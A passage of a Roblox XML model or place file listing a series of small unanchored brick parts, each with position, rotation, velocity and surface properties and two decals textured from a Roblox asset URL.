				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.0103834579</X>
					<Y>-0.0400684215</Y>
					<Z>0.00665960088</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1548">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1549">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1550">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>33.8608093</X>
					<Y>0.590664387</Y>
					<Z>7.45468855</Z>
					<R00>0.983689189</R00>
					<R01>9.71374757e-005</R01>
					<R02>-0.179876685</R02>
					<R10>-8.6311491e-005</R10>
					<R11>1</R11>
					<R12>6.80121157e-005</R12>
					<R20>0.179876685</R20>
					<R21>-5.13773521e-005</R21>
					<R22>0.983689189</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00412535528</X>
					<Y>0.0012640151</Y>
					<Z>-0.0407516286</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00116481096</X>
					<Y>-0.00800988171</Y>
					<Z>-0.000183845797</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1551">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1552">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1553">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>35.5425606</X>
					<Y>0.591532826</Y>
					<Z>12.2710562</Z>
					<R00>-0.803885996</R00>
					<R01>2.08948882e-006</R01>
					<R02>0.594783485</R02>
					<R10>1.74774195e-005</R10>
					<R11>1</R11>
					<R12>2.0108766e-005</R12>
					<R20>-0.594783485</R20>
					<R21>2.6560434e-005</R21>
					<R22>-0.803885996</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00767126214</X>
					<Y>-0.000406637759</Y>
					<Z>0.0253748763</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00265253847</X>
					<Y>-0.0093547171</Y>
					<Z>-0.000708788517</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1554">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1555">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1556">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>34.4888344</X>
					<Y>0.780499518</Y>
					<Z>8.89472389</Z>
					<R00>0.822027862</R00>
					<R01>-0.236446828</R01>
					<R02>-0.518037677</R02>
					<R10>2.54271181e-005</R10>
					<R11>-0.909704983</R11>
					<R12>0.41525507</R12>
					<R20>-0.569447219</R20>
					<R21>-0.341364413</R21>
					<R22>-0.747796893</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.281266958</X>
					<Y>-0.445425719</Y>
					<Z>0.183939442</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.304784477</X>
					<Y>-0.125305787</Y>
					<Z>0.195230305</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1557">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1558">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1559">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>41.869503</X>
					<Y>0.591071248</Y>
					<Z>16.0191536</Z>
					<R00>0.744849861</R00>
					<R01>-2.83139052e-005</R01>
					<R02>0.667232096</R02>
					<R10>-2.00533868e-005</R10>
					<R11>1</R11>
					<R12>6.48210262e-005</R12>
					<R20>-0.667232096</R20>
					<R21>-6.16621983e-005</R21>
					<R22>0.744849861</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00150995096</X>
					<Y>0.00111914414</Y>
					<Z>0.0314504504</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000164548299</X>
					<Y>-0.00456836727</Y>
					<Z>4.48252867e-005</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1560">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1561">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1562">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>43.1600342</X>
					<Y>0.591480732</Y>
					<Z>17.4850082</Z>
					<R00>-0.677892983</R00>
					<R01>-6.30346622e-005</R01>
					<R02>-0.73516053</R02>
					<R10>3.24896682e-005</R10>
					<R11>1</R11>
					<R12>-0.000115701507</R12>
					<R20>0.73516053</R20>
					<R21>-0.000102318372</R21>
					<R22>-0.677892983</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000676489028</X>
					<Y>3.76763601e-005</Y>
					<Z>-0.0159677919</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000563600683</X>
					<Y>-0.00986580551</Y>
					<Z>0.0013322758</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1563">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1564">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1565">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>40.8098602</X>
					<Y>0.590971947</Y>
					<Z>12.2901516</Z>
					<R00>0.301916093</R00>
					<R01>0.000230101388</R01>
					<R02>0.953334451</R02>
					<R10>1.50428275e-006</R10>
					<R11>1</R11>
					<R12>-0.00024184119</R12>
					<R20>-0.953334451</R20>
					<R21>7.44498248e-005</R21>
					<R22>0.301916093</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0149919745</X>
					<Y>0.00052298361</Y>
					<Z>-0.0109953564</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.000717854244</X>
					<Y>-0.000188217251</Y>
					<Z>0.000151745233</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1566">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1567">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1568">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>36.7692566</X>
					<Y>0.590815842</Y>
					<Z>14.5771065</Z>
					<R00>0.0764605552</R00>
					<R01>-0.000165410558</R01>
					<R02>0.997072518</R02>
					<R10>-3.69129739e-005</R10>
					<R11>1</R11>
					<R12>0.000168726867</R12>
					<R20>-0.997072577</R20>
					<R21>-4.97058572e-005</R21>
					<R22>0.0764605477</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0338585824</X>
					<Y>-0.000256055384</Y>
					<Z>0.00251722708</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.000380917307</X>
					<Y>-0.00521708326</Y>
					<Z>5.55346778e-005</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1569">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1570">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1571">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>37.8301125</X>
					<Y>0.590587199</Y>
					<Z>19.9035549</Z>
					<R00>-0.948954999</R00>
					<R01>-0.000678812445</R01>
					<R02>0.315410495</R02>
					<R10>1.70998355e-005</R10>
					<R11>0.999997556</R11>
					<R12>0.00220359745</R12>
					<R20>-0.31541121</R20>
					<R21>0.0020965084</R21>
					<R22>-0.948952734</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.017443154</X>
					<Y>0.00010182846</Y>
					<Z>-0.0668613911</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00145539478</X>
					<Y>-0.0160103012</Y>
					<Z>-0.00220529782</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1572">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1573">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1574">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>37.3528252</X>
					<Y>0.590747952</Y>
					<Z>24.995285</Z>
					<R00>0.841798306</R00>
					<R01>-0.000418966491</R01>
					<R02>-0.539792061</R02>
					<R10>-6.20829087e-005</R10>
					<R11>0.999999642</R11>
					<R12>-0.000872979988</R12>
					<R20>0.53979224</R20>
					<R21>0.000768384896</R21>
					<R22>0.841797948</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00581573974</X>
					<Y>-0.000510048121</Y>
					<Z>-0.03470622</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000560245593</X>
					<Y>-0.00137932517</Y>
					<Z>-0.000831247424</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1575">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1576">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1577">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>38.9497108</X>
					<Y>0.590895116</Y>
					<Z>16.073761</Z>
					<R00>-0.718321443</R00>
					<R01>-0.000574805192</R01>
					<R02>0.695711017</R02>
					<R10>-0.000272181846</R10>
					<R11>0.999999821</R11>
					<R12>0.000545184652</R12>
					<R20>-0.695711195</R20>
					<R21>0.000202257928</R21>
					<R22>-0.718321443</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0866081044</X>
					<Y>-0.0032101504</Y>
					<Z>0.0594933555</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00330810668</X>
					<Y>-0.00687665911</Y>
					<Z>0.00396970846</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1578">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1579">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1580">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
